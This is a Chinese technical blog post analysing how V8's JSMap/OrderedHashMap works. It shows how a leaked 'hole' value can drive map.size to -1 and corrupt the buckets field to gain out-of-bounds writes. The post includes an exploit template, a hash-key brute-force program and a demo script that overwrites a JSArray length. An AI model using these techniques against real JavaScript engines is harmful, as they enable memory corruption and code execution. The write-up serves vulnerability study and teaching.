查看原文
其他

V8 hole 类型漏洞利用总结

XiaozaYa 看雪学苑 2024-03-10




JSMap


基本概念
参考文章 [V8 Deep Dives] Understanding Map Internals(https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df)下面概念性的内容基本上就是对该参考文章的翻译或总结,建议看原文章。

V8中的Map是在哈希表的基础上构建出来的,但是不等同于哈希表,因为哈希表是不提供插入元素的顺序保证的,但是ES标准要求Map要记录元素的插入顺序。

所以Map底层采用的是deterministic hash tables,当然对于我们而言无需关心其具体是什么,类似哈希表就完了。确定性哈希表采用的数据结构伪代码如下:

interface Entry {
key: any;
value: any;
chain: number;
}

interface CloseTable {
hashTable: number[];
dataTable: Entry[];
nextSlot: number;
size: number;
}

这里的CloseTable代码的就是代表的哈希表,其成员hashTable的大小代表buckets的数量,其第i个元素代表的就是第ibuckets头元素在dataTable中的index

其实这里把hashTable当作bucket使用数组,dataTable当作bucket数组就好了,这样做的目的就是为了记录元素的插入顺序。

当删除元素时,这里仅仅就是将keyvalue设置为undefined,所以这里被删除的元素仍然占据内存空间。

当然还有一个问题就是当dataTable满了,V8是如何进行扩容的呢?这里引入v8中的实现规则:
dataTable.length = 2 * bucket = 2 * hashTable.length
◆每次按照2的次幂进行扩容

这里的验证可以看参考文章,后面讲了v8Map的内存模型了在简单验证验证。

V8 源码分析

v8中,JSMap的内存布局如下:

Map:就不多说了,就是每个对象都有的,表示对象的shape
FixedArray Length:整个OrderedHashMap的大小,其实就是一个FixedArray
elements:存在的entry的数量
deleteds:被删除的entry的数量
bucketsbucket的数量
hashTabledataTable就是上面介绍的两个表

考虑如下代码:

var map = new Map();

%DebugPrint(map);
readline();

map.set(1, 1);
map.set(2, 1);
map.set(3, 1);
map.set(4, 1);
%DebugPrint(map);
readline();

map.delete(3);
%DebugPrint(map);
readline();

map.set(5, 1);
%DebugPrint(map);
readline();

可以看到这里的OrderedHashMap



初始时,buckets的数量为2



可以看到这里dataTable的大小为12(8字节为单位哈),而每个entry占 3,所以总的容量其实就是4,其为2 * buckets是满足之前说的dataTable.length = 2 * buckets = 2 * hashTable.length

当添加四个元素时:



这里来看下hashTabledataTable,这里我直接画了一个图:


这里似乎与上面参考文章说的有点不同,这里采用的头插法?而且我也没看出来这里是咋记录插入顺序的,但是这里使用for...of循环确实是按照顺序打印的:

......
for (let x of map) {
print(x);
}
/*
1,1
2,1
3,1
4,1
*/


然后删除(3, 1)



可以看到这里的elements = 3,而deleteds = 1,这是符合逻辑的,并且hashTable并没有改变,仅仅将对应的entrykey/value设置成了#hole



然后再添加一个元素:可以看到这里的OrderedHashMap已经发生了变换,即这里发生了扩容:



来看下OrderedHashMap



可以看到这里清除了deleted entry

set

map.set(key, value)的作用就是给map添加元素(其实就是键值对,只是笔者习惯叫做元素,读者自己明白就好),其在V8层面的接口定义如下:

TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) {
Node* const receiver = Parameter(Descriptor::kReceiver);
Node* key = Parameter(Descriptor::kKey);
Node* const value = Parameter(Descriptor::kValue);
Node* const context = Parameter(Descriptor::kContext);
// 检查 receiver 是否是 JS_MAP 类型,如果不是则抛出异常
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.set");
// 规格化 key
key = NormalizeNumberKey(key);
// 获取 table 即 OrderedHashMap
TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset));

VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0));
Label entry_found(this), not_found(this);
// 根据 key 找到对应的 entry 索引 index,即检查 key 是否已经存在
TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context,
&entry_start_position_or_hash,
&entry_found, ¬_found);

// 成功找到 entry,即 key 已经存在
BIND(&entry_found);
// If we found the entry, we just store the value there.
// 将数据存入 entry,这里是 key 已经存在,索引就直接跟新 value
StoreFixedArrayElement(table, entry_start_position_or_hash.value(), value,
UPDATE_WRITE_BARRIER,
kPointerSize * (OrderedHashMap::kHashTableStartIndex +
OrderedHashMap::kValueOffset));
Return(receiver);

Label no_hash(this), add_entry(this), store_new_entry(this);
// 没有找到的 entry,即 key 原先不存在,说人话就是第一次 set key(或是设置过但是已经 delete 了)
BIND(¬_found);
{
// If we have a hash code, we can start adding the new entry.
// 如果已经计算了 hash code,则添加一个新 entry
GotoIf(IntPtrGreaterThan(entry_start_position_or_hash.value(), IntPtrConstant(0)), &add_entry);

// Otherwise, go to runtime to compute the hash code.
// 否则计算 hash code
entry_start_position_or_hash.Bind(SmiUntag(CallGetOrCreateHashRaw(key)));
Goto(&add_entry);
}

BIND(&add_entry);
VARIABLE(number_of_buckets, MachineType::PointerRepresentation());
VARIABLE(occupancy, MachineType::PointerRepresentation());
TVARIABLE(OrderedHashMap, table_var, table);
{
// Check we have enough space for the entry.
// 检查是否有足够的 entry 空间
// 获取 buckets 的数量
number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex))));
// 每次扩容或缩容都是按照2的次幂进行的
STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2);
// 容量 capacity = number_of_buckets << 1 = number_of_buckets * 2
Node* const capacity = WordShl(number_of_buckets.value(), 1);
// 有效元素的数量 number_of_elements
Node* const number_of_elements = SmiUntag(CAST(LoadObjectField(
table, OrderedHashMap::kNumberOfElementsOffset)));
// 被删除元素的数量 number_of_deleted
Node* const number_of_deleted = SmiUntag(CAST(LoadObjectField(
table, OrderedHashMap::kNumberOfDeletedElementsOffset)));
// occupancy = number_of_elements + number_of_deleted 即已经被占据的 entry 空间
occupancy.Bind(IntPtrAdd(number_of_elements, number_of_deleted));
// 如果 occupancy < capacity,说明有空闲的 entry,因此 store_new_entry
GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry);

// We do not have enough space, grow the table and reload the relevant
// fields.
// 否则来到这里说明 occupancy >= capacity(应该是不存在大于的)则进行扩容
CallRuntime(Runtime::kMapGrow, context, receiver);
// 扩容后,又来一次获取:
// table、number_of_buckets、new_number_of_elements、new_number_of_deleted、occupancy
table_var = CAST(LoadObjectField(receiver, JSMap::kTableOffset));
number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement(
table_var.value(), OrderedHashMap::kNumberOfBucketsIndex))));
Node* const new_number_of_elements = SmiUntag(CAST(LoadObjectField(
table_var.value(), OrderedHashMap::kNumberOfElementsOffset)));
Node* const new_number_of_deleted = SmiUntag(CAST(LoadObjectField(
table_var.value(), OrderedHashMap::kNumberOfDeletedElementsOffset)));
occupancy.Bind(IntPtrAdd(new_number_of_elements, new_number_of_deleted));
Goto(&store_new_entry);
}
BIND(&store_new_entry);
// Store the key, value and connect the element to the bucket chain.
// 看注释:存储 key、value 并且将其加入对应的 bucket 链表
StoreOrderedHashMapNewEntry(table_var.value(), key, value,
entry_start_position_or_hash.value(),
number_of_buckets.value(), occupancy.value());
Return(receiver);
}

set的整个逻辑如下:
  • 检查 key 是否存在

    • 若不存在空闲的 entry,则进行扩容,然后填充 entry

    • 若存在空闲的 entry,则直接填充 entry

    • 若 key 存在,则直接更新 value

    • 若 key 不存在,则检查是否存在空闲 entry


这里是用TryLookupOrderedHashTableIndex函数去寻找key对应的entry的,即判断key是否存在:

template <typename CollectionType>
void CollectionsBuiltinsAssembler::TryLookupOrderedHashTableIndex(
Node* const table, Node* const key, Node* const context, Variable* result,
Label* if_entry_found, Label* if_not_found)
{
Label if_key_smi(this), if_key_string(this), if_key_heap_number(this), if_key_bigint(this);

GotoIf(TaggedIsSmi(key), &if_key_smi);

Node* key_map = LoadMap(key);
Node* key_instance_type = LoadMapInstanceType(key_map);

GotoIf(IsStringInstanceType(key_instance_type), &if_key_string);
GotoIf(IsHeapNumberMap(key_map), &if_key_heap_number);
GotoIf(IsBigIntInstanceType(key_instance_type), &if_key_bigint);

FindOrderedHashTableEntryForOtherKey<CollectionType>(
context, table, key, result, if_entry_found, if_not_found);

BIND(&if_key_smi);
{
FindOrderedHashTableEntryForSmiKey<CollectionType>(
table, key, result, if_entry_found, if_not_found);
}

BIND(&if_key_string);
{
FindOrderedHashTableEntryForStringKey<CollectionType>(
context, table, key, result, if_entry_found, if_not_found);
}

BIND(&if_key_heap_number);
{
FindOrderedHashTableEntryForHeapNumberKey<CollectionType>(
context, table, key, result, if_entry_found, if_not_found);
}

BIND(&if_key_bigint);
{
FindOrderedHashTableEntryForBigIntKey<CollectionType>(
context, table, key, result, if_entry_found, if_not_found);
}
}

可以看到对于不同类型的key,有着不同的寻找方式,这里以Smi类型的key为例,对于Smi类型的key寻找其entry利用的函数是FindOrderedHashTableEntryForSmiKey

template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntryForSmiKey(
Node* table, Node* smi_key, Variable* result, Label* entry_found,
Label* not_found)
{
Node* const key_untagged = SmiUntag(smi_key);
Node* const hash = ChangeInt32ToIntPtr(ComputeIntegerHash(key_untagged, Int32Constant(0)));
CSA_ASSERT(this, IntPtrGreaterThanOrEqual(hash, IntPtrConstant(0)));
result->Bind(hash);
FindOrderedHashTableEntry<CollectionType>(
table, hash,
[&](Node* other_key, Label* if_same, Label* if_not_same) {
SameValueZeroSmi(smi_key, other_key, if_same, if_not_same);
},
result, entry_found, not_found);
}

该函数比较简单,就是先利用ComputeIntegerHash计算出key的哈希值,然后再用FindOrderedHashTableEntry进行查找,ComputeIntegerHash函数如下:

inline uint32_t ComputeIntegerHash(uint32_t key, uint64_t seed) {
uint32_t hash = key;
hash = hash ^ static_cast<uint32_t>(seed);
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}

重点还是在FindOrderedHashTableEntry上:

template <typename CollectionType>
void CodeStubAssembler::FindOrderedHashTableEntry(
Node* table, Node* hash,
std::function<void(Node*, Label*, Label*)> key_compare,
Variable* entry_start_position, Label* entry_found, Label* not_found) {
// Get the index of the bucket.
// 获取 bucket 的数量 number_of_buckets
Node* const number_of_buckets = SmiUntag(CAST(LoadFixedArrayElement(
CAST(table), CollectionType::kNumberOfBucketsIndex)));
// 获取 key 对于 bucket 的编号:bucket = hash[key] & (number_of_buckets - 1)
Node* const bucket =
WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
// 获取 first_entry = hastTable[bucket]
Node* const first_entry = SmiUntag(CAST(LoadFixedArrayElement(
CAST(table), bucket,
CollectionType::kHashTableStartIndex * kPointerSize)));

// Walk the bucket chain.
// 遍历 bucket 单链表,first_entry 就是链表头
Node* entry_start;
Label if_key_found(this);
{
VARIABLE(var_entry, MachineType::PointerRepresentation(), first_entry);
Label loop(this, {&var_entry, entry_start_position}), continue_next_entry(this);
Goto(&loop);
BIND(&loop);

// If the entry index is the not-found sentinel, we are done.
// 如果 var_entry = CollectionType::kNotFound,则没找到对应的 entry
// 这里我没有找到 CollectionType::kNotFound 的定义,我猜测是 -1
// 因为 entry 的 chain 域尾巴是 -1,hashTable 不存在时也是 -1
GotoIf(
WordEqual(var_entry.value(), IntPtrConstant(CollectionType::kNotFound)),
not_found);

// Make sure the entry index is within range.
// 检查 entry index 的范围,防止越界
CSA_ASSERT(
this, UintPtrLessThan(
var_entry.value(),
SmiUntag(SmiAdd(
CAST(LoadFixedArrayElement(
CAST(table), CollectionType::kNumberOfElementsIndex)),
CAST(LoadFixedArrayElement(
CAST(table), CollectionType::kNumberOfDeletedElementsIndex))))));

// Compute the index of the entry relative to kHashTableStartIndex.
// 计算 entry_index 相对于 HashTableStartIndex 的偏移
// entry_start = var_entry * 3 + number_of_buckets
// 其实就是相对 hashTable 的偏移
entry_start =
IntPtrAdd(IntPtrMul(var_entry.value(), IntPtrConstant(CollectionType::kEntrySize)),
number_of_buckets);

// Load the key from the entry.
// 从 entry 中加载 key = candidate_key
Node* const candidate_key = LoadFixedArrayElement(
CAST(table), entry_start,
CollectionType::kHashTableStartIndex * kPointerSize);
// 这里没有找到 key_compare 的定义
// 根据名字猜测功能为:比较 candidate_key 和传入的 key,若相同则跳转到 if_key_found
// 否则继续验证下一个 entry,即跳转到 continue_next_entry
key_compare(candidate_key, &if_key_found, &continue_next_entry);

BIND(&continue_next_entry);
// Load the index of the next entry in the bucket chain.
// 加载下一个 entry 的 index,然后继续循环
var_entry.Bind(SmiUntag(CAST(LoadFixedArrayElement(
CAST(table), entry_start,
(CollectionType::kHashTableStartIndex + CollectionType::kChainOffset) *
kPointerSize))));

Goto(&loop);
}

BIND(&if_key_found);
entry_start_position->Bind(entry_start);
Goto(entry_found);
}

整个逻辑我都注释清楚了,就不多说了,值得注意的是这里遍历bucket链表时存在范围检查。

后面StoreFixedArrayElement函数我没有找到其定义,就分析下StoreOrderedHashMapNewEntry函数,其实都比较比较简单,值得注意的是这里写入的entry是根据hashTable的偏移计算得到的:

void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry(
TNode<OrderedHashMap> const table, Node* const key, Node* const value,
Node* const hash, Node* const number_of_buckets, Node* const occupancy) {
// 获取对应的 bucket index:bucket = hash[key] & (number_of_buckets-1)
Node* const bucket = WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
// 获取 bucket 链表头 bucket_entry
Node* const bucket_entry = LoadFixedArrayElement(table, bucket, OrderedHashMap::kHashTableStartIndex * kPointerSize);

// Store the entry elements.
// entry_start = occupancy * 3 + number_of_buckets
// entry_start 就是新的 entry 相对于 hashTable 的偏移,这个应该可以想清楚吧
Node* const entry_start = IntPtrAdd(
IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)),
number_of_buckets);
// 存储 key
StoreFixedArrayElement(table, entry_start, key, UPDATE_WRITE_BARRIER,
kPointerSize * OrderedHashMap::kHashTableStartIndex);
// 存储 value
StoreFixedArrayElement(table, entry_start, value, UPDATE_WRITE_BARRIER,
kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset));
// 存储 bucket_entry,这里采用的头插法
StoreFixedArrayElement(table, entry_start, bucket_entry, SKIP_WRITE_BARRIER,
kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kChainOffset));

// Update the bucket head.
// 采用的头插法,所以更新 bucket 头为新的 entry
StoreFixedArrayElement(table, bucket, SmiTag(occupancy), SKIP_WRITE_BARRIER,
OrderedHashMap::kHashTableStartIndex * kPointerSize);

// Bump the elements count.
// 跟新 elements 字段,就是将其加 1
TNode<Smi> const number_of_elements = CAST(LoadObjectField(table, OrderedHashMap::kNumberOfElementsOffset));
StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset,
SmiAdd(number_of_elements, SmiConstant(1)));
}


delete

map.delete(key)的作用就是删除对应元素,其在V8层的接口函数如下:

TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
Node* const receiver = Parameter(Descriptor::kReceiver);
Node* key = Parameter(Descriptor::kKey);
Node* const context = Parameter(Descriptor::kContext);
// 检查 receiver 的类型是否为 JS_MAP_TYPE
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.delete");
// 获取 table
TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset));

VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0));
Label entry_found(this), not_found(this);
// 寻找 key 对应的 entry
TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context,
&entry_start_position_or_hash,
&entry_found, ¬_found);
// 没找到返回 false
BIND(¬_found);
Return(FalseConstant());

BIND(&entry_found);
// If we found the entry, mark the entry as deleted.
// 找到了,则标记该 entry 已经被删除
// 修改 key 为 TheHoleConstant
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kPointerSize * OrderedHashMap::kHashTableStartIndex);
// 修改 value 为 TheHoleConstant
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kPointerSize * (OrderedHashMap::kHashTableStartIndex +
OrderedHashMap::kValueOffset));

// Decrement the number of elements, increment the number of deleted elements.
// elements 减 1
TNode<Smi> const number_of_elements = SmiSub(CAST(LoadObjectField(
table, OrderedHashMap::kNumberOfElementsOffset)), SmiConstant(1));
StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset, number_of_elements);
// deleted 加 1
TNode<Smi> const number_of_deleted = SmiAdd(CAST(LoadObjectField(
table, OrderedHashMap::kNumberOfDeletedElementsOffset)), SmiConstant(1));
StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfDeletedElementsOffset, number_of_deleted);
// 获取 bucket 的数量 number_of_buckets
TNode<Smi> const number_of_buckets =
CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex));

// If there fewer elements than #buckets / 2, shrink the table.
Label shrink(this);
// 如果 number_of_elements + number_of_elements < number_of_buckets,则进行缩减 shrink
// 即:elements < buckets / 2 时就进行 shrink
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements), number_of_buckets), &shrink);
// 返回 true
Return(TrueConstant());

BIND(&shrink);
// 进行 shrink
CallRuntime(Runtime::kMapShrink, context, receiver);
Return(TrueConstant());
}

逻辑比较清楚了,看注释吧,这里来看下Runtime::kMapShrink函数:

RUNTIME_FUNCTION(Runtime_MapShrink) {
HandleScope scope(isolate);
DCHECK_EQ(1, args.length());
CONVERT_ARG_HANDLE_CHECKED(JSMap, holder, 0);
Handle<OrderedHashMap> table(OrderedHashMap::cast(holder->table()), isolate);
table = OrderedHashMap::Shrink(isolate, table);
holder->set_table(*table);
return ReadOnlyRoots(isolate).undefined_value();
}

其主要就是调用的OrderedHashMap::Shrink函数:

template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Shrink(
Isolate* isolate, Handle<Derived> table) {
DCHECK(!table->IsObsolete());
// 原 table 中 Elements 的数量 nof
int nof = table->NumberOfElements();
// 原 table 的容量 capacity
int capacity = table->Capacity();
// 如果 nof >= capacity / 4 = buckets / 2,则直接返回 table
if (nof >= (capacity >> 2)) return table;
// 否则调用 Rehash 进行 shrink,这里新的容量为 capacity / 2
return Rehash(isolate, table, capacity / 2);
}

话不多说,跟进Rehash函数:

template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Rehash(
Isolate* isolate, Handle<Derived> table, int new_capacity) {
DCHECK(!table->IsObsolete());
// 根据 new_capacity 分配一个 new_table
Handle<Derived> new_table = Allocate(
isolate, new_capacity, Heap::InNewSpace(*table) ? NOT_TENURED : TENURED);
// 获取 old_table 的 Elements 的数量 nof
int nof = table->NumberOfElements();
// 获取 old_table 的 Deleted 的数量 nod
int nod = table->NumberOfDeletedElements();
// 获取 new_table 的 bucket 数量 new_buckets
int new_buckets = new_table->NumberOfBuckets();
int new_entry = 0;
// 这里会将所有的 hole 删除,即删除被标记为被删除的元素
int removed_holes_index = 0;

DisallowHeapAllocation no_gc;
// 遍历 old_table 的 old_entry
for (int old_entry = 0; old_entry < (nof + nod); ++old_entry) {
// 获取 key
Object* key = table->KeyAt(old_entry);
// 如果 key 是 hole,则删除 hole entry(这里就这样叫了,其实就是被标记为被删除的元素)
if (key->IsTheHole(isolate)) {
table->SetRemovedIndexAt(removed_holes_index++, old_entry);
continue;
}
// 否则将其填充到 new_table 中
// 获取 hash
Object* hash = key->GetHash();
// 获取对应的 bucket = hash & (new_buckets - 1)
int bucket = Smi::ToInt(hash) & (new_buckets - 1);
// 获取 bucket 的链表头 chain_entry
Object* chain_entry = new_table->get(kHashTableStartIndex + bucket);
new_table->set(kHashTableStartIndex + bucket, Smi::FromInt(new_entry));
int new_index = new_table->EntryToIndex(new_entry);
int old_index = table->EntryToIndex(old_entry);
// 依次填充 key、value、chain
for (int i = 0; i < entrysize; ++i) {
Object* value = table->get(old_index + i);
new_table->set(new_index + i, value);
}
new_table->set(new_index + kChainOffset, chain_entry);
++new_entry;
}

DCHECK_EQ(nod, removed_holes_index);

new_table->SetNumberOfElements(nof);
table->SetNextTable(*new_table);

return new_table;
}




利用原理


前面对JSMap分析了那么多,哪么hole泄漏如何利用JSMap进行攻击呢?

HoleJS内部的一种数据类型,用来标记不存在的元素,这个数据类型通常是不能泄露到用户JS层面。Hole类型的漏洞利用是指由于内部数据结构Hole通过漏洞被暴露至 用户JS层,因此可以根据Hole创建⼀个长度为 -1 的JSMap结构,导致越界读写,从而实现RCE

根据前面的分析,我们知道当使用map.delete删除一个元素时,只是将该元素的keyvalue设置为hole,并没有实际的删除该元素,实际上只是做了个标记,当进行shrink操作时,这些被hole标记的元素才会被真正的删除。那么如果我们可以创建key = hole的元素,那么我们就可以多次删除元素从而导致map.size = -1(当然这里前提是不进行shrink操作,因为shrink操作会清除hole元素)。

考虑如下代码:

var map = new Map();
let hole = %TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size);
// 输出:
// -1

可以看到这里的elements = -1、deleted = 0、buckets = 2


当然这里的触发代码为啥这样写呢?为啥要map.set(1, 1)呢?直接map.set(hole, 1),然后再delete两次不行吗?其实这里就是涉及到shrink操作会清除hole元素,比如考虑如下代码:

var map = new Map();
let hole = %TheHole();
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
console.log(map.size);
// 输出:
// 0

map.set(hole, 1)后:



可以看到这里的:elements = 1、deleted = 0、buckets = 2
第一次map.delete(hole)后:

第一次map.delete(hole)后,elements = 0、deleted = 1、buckets = 2,由于elements < buckets / 2,所以第一次delete后会发生shrink、从而导致hole元素被删除,因此第二次map.delete(hole)时直接返回false(这里不理解的看上面delete操作的源码分析)



Ok,现在已经成功构造了map.size = -1了,哪么接下来该如何去进行OOB呢?先来看看如果现在我们继续向map中添加元素,这时会发生什么呢?

在之前的set操作的源码分析中,我们知道当添加一个新的元素时(即key事先不存在)new entry的寻找方式为:&hashTable + buckets + occupancy * 3,这里的occupancy = elements + deleted

而在构造好map.size = -1后,其相关字段的值为:elements = -1、deleted = 0、buckets = 2

所以new_entry = &hashTable + 2 + (-1 + 0) * 3 = &hashTable - 1 = hashTable[-1] = &buckets

所以new_entry = key|value|chain = buckets|hashTbale[0]|hashTable[1],即下一次添加新元素时,就可以修改buckets = key1、hashTable[0] = value1

然后我们再添加新元素,此时:new_entry = &hashTable + buckets + (0 + 0) * 3 = hashTable[key1],而key1我们是可以控制的,所以new_entry也是可控的,从而导致越界写key/value,这里一般就是去写JSArraylength字段。

但是需要注意的是,在之前分析set操作源码时,我们知道当对bucket链表进行遍历时会存在检查,所以我们得让bucket[hash(key) & (buckets - 1)] = -1从而避免遍历bucket链表。

在构造好map.size = -1后,第一次添加新元素是无所谓的,因为此时bucket[0] = -1、bucket[1] = -1,但是第二次就得注意了,第一次添加时会导致bucket[0] != -1或者bucket[1] != -1,但是其实bucket[0] = value1,所以可以让bucket[0] = value1 = -1,这样在第二次添加时我们只需要让:hash(key2) & (buckets - 1) = 0即可,这里到时候爆破一下就 ok 了。

模板如下:

var map = new Map();
var hole = leak_hole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
map.set(oob_write_offset, -1);
var oob_array = [1.1];
var obj_arr = [{}];
var float_arr = [1.1];
var rw_arr = [1.1];
map.set(key2, value2);
// 其中 hashTable[oob_write_offset + 3] = 预被修改的地址
// hashTable[oob_write_offset + 3] = key2
// 也可以用 value2 去控制,这里随意
// 但是打 JSArray 的 length 字段时,还是用 key2 去写 length
// 因为如果用 value2 去写 length 的话,elements 会被 key2 覆盖

key2爆破脚本,这里的ComputeUnseededHash函数以实际的V8源码为准:

#include <bits/stdc++.h>

uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15);
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057;
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}

int main() {
uint32_t key = 0x2000, buckets = 0x25;
while ((ComputeUnseededHash(key) & (buckets - 1)) != 0) {
key++;
}
printf("%#x\n", key);
return 0;
}





相关例题


题目其实没啥好说的,关键就是利用漏洞把hole泄漏出来,后面基本都是一样的。所以这里直接用%TheHole()来获取hole,以此来演示利用手法:

const {log} = console;

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

let d2l = (v) => {
d_buf[0] = v;
return l_buf[0];
};

let l2d = (v) => {
l_buf[0] = v;
return d_buf[0];
};

let hexx = (str, v) => {
log("\033[32m"+str+": \033[0m0x"+v.toString(16));
}

let decc = (str, v) => {
log("\033[32m"+str+": \033[0m"+v);
}

var map = new Map();
const hole = %TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
decc("map.size", map.size);

map.set(37, -1);
var oob_arr = [1.1];
var tmp_arr = [2.2];
var rw_arr = [3.3];
var obj_arr = [0xeada, rw_arr];

hexx("oob_arr.length", oob_arr.length);
map.set(0x2002, 0);
hexx("oob_arr.length", oob_arr.length);

效果如下:



可以看到这里的oob_arr.length成功被修改为0x2002导致越界读写。然后就是基本的OOB类型漏洞利用了,没什么好说的。



看雪ID:XiaozaYa

https://bbs.kanxue.com/user-home-965217.htm

*本文为看雪论坛优秀文章,由 XiaozaYa 原创,转载请注明来自看雪社区



# 往期推荐

1、区块链智能合约逆向-合约创建-调用执行流程分析

2、在Windows平台使用VS2022的MSVC编译LLVM16

3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱

4、为什么在ASLR机制下DLL文件在不同进程中加载的基址相同

5、2022QWB final RDP

6、华为杯研究生国赛 adv_lua



球分享

球点赞

球在看



点击阅读原文查看更多

继续滑动看下一个

V8 hole 类型漏洞利用总结

向上滑动看下一个

您可能也对以下帖子感兴趣

自实现Linker加载SO
VMP源码分析:反调试与绕过方法
Rust 中的 HashMap 实战指南:理解与优化技巧
精进 JavaScript | 这些手写你都会吗 ?
CVE-2023-4427:ReduceJSLoadPropertyWithEnumeratedKey 中的越界访问

文章有问题?点此查看未经处理的缓存